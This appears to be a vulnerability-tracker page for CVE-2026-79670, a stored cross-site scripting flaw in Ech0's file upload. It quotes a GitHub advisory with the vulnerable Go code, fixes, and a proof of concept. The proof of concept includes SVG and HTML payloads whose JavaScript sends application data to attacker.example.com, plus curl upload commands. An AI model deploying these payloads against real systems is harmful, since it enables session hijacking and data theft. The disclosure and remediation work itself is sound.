CVE-2026-79670

mediumpriority · track · 19EPSS 0.003 · 17 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.25% (17th) EPSS
CVSS 4.8 · medium
Is it mine?
2 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

01

cvss

Technical severity, 0–10. One row per scoring source.

4.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.1–4.8

v3.14.8mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:Nprimary · disclosure@vulncheck.comexploitability 1.7 · impact 2.7
v3.14.8mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:Nsecondary · OSV
v4.04.8mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.01.1lowCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-69hx-63pv-f8f4Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload2026-04-10ghsa · osvUS

    ## Summary The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing. ## Details The upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header: ```go contentType := file.Header.Get("Content-Type") // client-controlled if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) { return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED) } ``` `isAllowedType` at `file.go:836-843` performs exact string matching — no magic byte detection, no extension validation: ```go func isAllowedType(contentType string, allowedTypes []string) bool { for _, allowed := range allowedTypes { if contentType == allowed { return true } } return false } ``` The original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`: ```go ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename))) ``` All locally stored files are served publicly without authentication at `internal/router/modules.go:51`: ```go ctx.Engine.Static("api/files", root) ``` This `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go's `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`. No `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`). **Variant 1 — SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `<script>` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/<key>.svg` and JavaScript within them executes in the application's origin. **Variant 2 — Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/<key>.html` as `text/html`. ## PoC **Variant 1 — SVG XSS (simplest, default config):** ```bash # 1. Create SVG with embedded JavaScript cat > evil.svg << 'SVGEOF' <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <script> // Steal cookies and redirect to attacker fetch('/api/echo/page') .then(r => r.json()) .then(d => { new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d)); }); </script> <circle cx="50" cy="50" r="40" fill="red"/> </svg> SVGEOF # 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed) curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F 'file=@evil.svg;type=image/svg+xml' \ -F 'category=image' \ -F 'storage_type=local' # Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg # 3. Access without authentication — JavaScript executes in application origin: # GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg ``` **Variant 2 — Content-Type bypass with HTML:** ```bash # 1. Create HTML with JavaScript cat > evil.html << 'HTMLEOF' <html><body> <script> document.write('<h1>XSS in ' + document.domain + '</h1>'); // Exfiltrate data from same-origin API fetch('/api/echo/page').then(r=>r.json()).then(d=>{ new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d)); }); </script> </body></html> HTMLEOF # 2. Upload with spoofed Content-Type curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F 'file=@evil.html;type=image/jpeg' \ -F 'category=image' \ -F 'storage_type=local' # 3. Access without authentication — renders as text/html: # GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html ``` ## Impact - **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly. - **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens. - **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated. - **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data. - **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised. The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise. ## Recommended Fix **1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`): ```go import "net/http" // Replace client-controlled Content-Type with server-detected type func detectContentType(file multipart.File) (string, error) { buf := make([]byte, 512) n, err := file.Read(buf) if err != nil && err != io.EOF { return "", err } if _, err := file.Seek(0, io.SeekStart); err != nil { return "", err } return http.DetectContentType(buf[:n]), nil } ``` **2. Remove `image/svg+xml` from default AllowedTypes** or sanitize SVGs to strip `<script>` tags and event handlers before storage. **3. Add security headers** in `internal/router/middleware.go`: ```go func SecurityHeaders() gin.HandlerFunc { return func(c *gin.Context) { c.Header("X-Content-Type-Options", "nosniff") c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'") c.Next() } } ``` **4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application's cookie scope.

  • GO-2026-5172Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech02026-06-25vendor · osvUS

    Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-08-25modified 2026-08-31
08

references (2) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan